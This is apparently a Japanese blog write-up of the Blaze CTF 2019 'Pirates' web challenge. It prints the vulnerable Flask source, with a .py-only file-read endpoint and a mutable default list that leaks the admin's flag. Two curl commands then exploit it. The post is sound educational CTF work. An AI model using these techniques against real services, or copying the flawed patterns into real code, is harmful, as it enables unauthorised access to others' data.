こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Blaze CTF 2019 Writeup - Pirates

Question

What is a Pirate's favorite letter?
You may think it's R, but their true love is the C.
http://chal.420blaze.in:42008

f:id:graneed:20190427225423p:plain

Solution

簡単に画面を操作する。

  • create accountは、submitするとuser_idが払い出される。
  • set secretは、user_idを使用してsecret値のセットができる。secret_idが払い出される。
  • get secretは、set secretで払い出されたsecret_idをキーにsecret値の取得ができる。

robots.txtを見ると、/sourceがあることがわかる。/sourceにアクセスすると、fileパラメータに拡張子pyのファイル名をセットするとソースコードが見れそうなことがわかる。app.pyソースコードを参照する。

#!/usr/bin/env python3
from flask import Flask, request, redirect
import uuid
import os

app = Flask(__name__)

user_to_secret = {}


class UserSecrets:
    def __init__(self, secrets=[]):
        self.secrets = secrets

    def add_secret(self, secret):
        self.secrets.append(secret)
        return len(self.secrets) - 1

    def get_secret(self, secret_index):
        try:
            return self.secrets[secret_index]
        except KeyError:
            return "Secret does not exist!"


@app.route("/source")
def source():
    a = request.args['file']
    if not a[-3:] == '.py':
        return "You can only view the source of a python file."
    with open(a) as f:
        return f.read()


@app.route("/robots.txt")
def robots():
    return "User-agent: *\nDisallow: /source"


@app.route("/")
def hello():
    return """Hello! Are you a robot? This is a secret management server.
<h2>create account:</h2>
<form action="/create_account" method="post" name="form">
  Starting secrets: </br>
  <input type="text" name="secrets" value="secret0" />
  <input type="text" name="secrets" value="secret1" />
  <input type="text" name="secrets" value="secret2" />
  <button>Submit</button>
</form>
<span id="result"></span>
<script>
//var form;

document.form.onsubmit = function (e) {
  // stop the regular form submission
  e.preventDefault();

  // collect the form data while iterating over the inputs
  var data = [];
  for (var i = 0, ii = form.length; i < ii; ++i) {
    var input = form[i];
    if (input.name) {
      data.push(input.value);
    }
  }

  // construct an HTTP request
  var xhr = new XMLHttpRequest();
  xhr.open(form.method, form.action, true);
  xhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');

  // send the collected data as JSON
  xhr.send(JSON.stringify(data));

  xhr.onloadend = function (r) {
    console.log(r);
    document.getElementById("result").innerHTML=r.srcElement.responseText;
  };
};
</script>

<h2>set secret:</h2>
<form action="/secrets" method="post">
  Create Account:<br>
  user_id:<br>
  <input type="text" name="user_id" value="userid"><br>
  secret:<br>
  <input type="text" name="secret" value="A Secret"><br><br>
  <input type="submit" value="Submit">
</form>

<h2>get secret:</h2>
<form action="/secrets" method="get">
  user_id:<br>
  <input type="text" name="user_id" value="userid"><br>
  secret_id:<br>
  <input type="text" name="secret_id" value="2"><br><br>
  <input type="submit" value="Submit">
</form>

"""


@app.route("/create_account", methods=["POST"])
def create_account():
    secrets = request.get_json()
    user_id = str(uuid.uuid4())
    if isinstance(secrets, list):
        user_to_secret[user_id] = UserSecrets(secrets)
    else:
        user_to_secret[user_id] = UserSecrets()
    return user_id


@app.route("/secrets", methods=["POST", "GET", "DELETE"])
def secret():
    if request.method == "POST":
        user_id = request.form.get("user_id")
        secret = request.form.get("secret")
        try:
            return str(user_to_secret[user_id].add_secret(secret))
        except KeyError:
            return "You do not have a SecretStorage!"
    else:
        user_id = request.args.get("user_id")
        try:
            secret_id = int(request.args.get("secret_id"))
        except TypeError:
            return "The secret id should be an integer!"
        try:
            return user_to_secret[user_id].get_secret(secret_id)
        except KeyError:
            return "You do not have a SecretStorage!"


if __name__ == "__main__":
    admin_secrets = UserSecrets()
    admin_secrets.add_secret(os.environ['FLAG'])
    app.run(debug=True, port=42069, host="0.0.0.0")

起動時にUserSecretsクラスのインタンスを生成し、add_secretメソッドでFLAGをセットしている。

UserSecretsクラスのインスタンス生成時に呼ばれる__init__メソッドを確認すると、secretsのデフォルト引数を空のリストにしている。

デフォルト引数に、リストと辞書を使う場合は注意が必要である。
以下の記事の「リストや辞書をデフォルト値とした場合の注意点」がわかりやすい。
note.nkmk.me

つまり、UserSecretsクラスのインスタンス生成時に引数を渡さなければ、FLAGを追加済みのsecretsリストを持ったインスタンスを生成できることがわかる。

create_accountメソッドのソースを見ると、JSON形式かつリストではないデータをPOSTすれば、引数なしのUserSecretsクラスのインスタンスが生成できる。

ディクショナリ型の{"aaa":"bbb"}/create_accountにPOSTしてアカウントを作成し、user_idを払い出す。

# curl http://chal.420blaze.in:42008/create_account -H "Content-Type: application/json;charset=UTF-8" -d '{"aaa":"bbb"}'
a006e40e-9759-4e26-99b4-d6aa073c9c3b

secret_idに0をセットして、FLAGが格納されているであろうsecretsリストの0番目の値を取得する。

# curl http://chal.420blaze.in:42008/secrets -GET -d "user_id=a006e40e-9759-4e26-99b4-d6aa073c9c3b&secret_id=0"
blaze{py3h0n_d3f4ul7_Arrrrgh}

フラグゲット。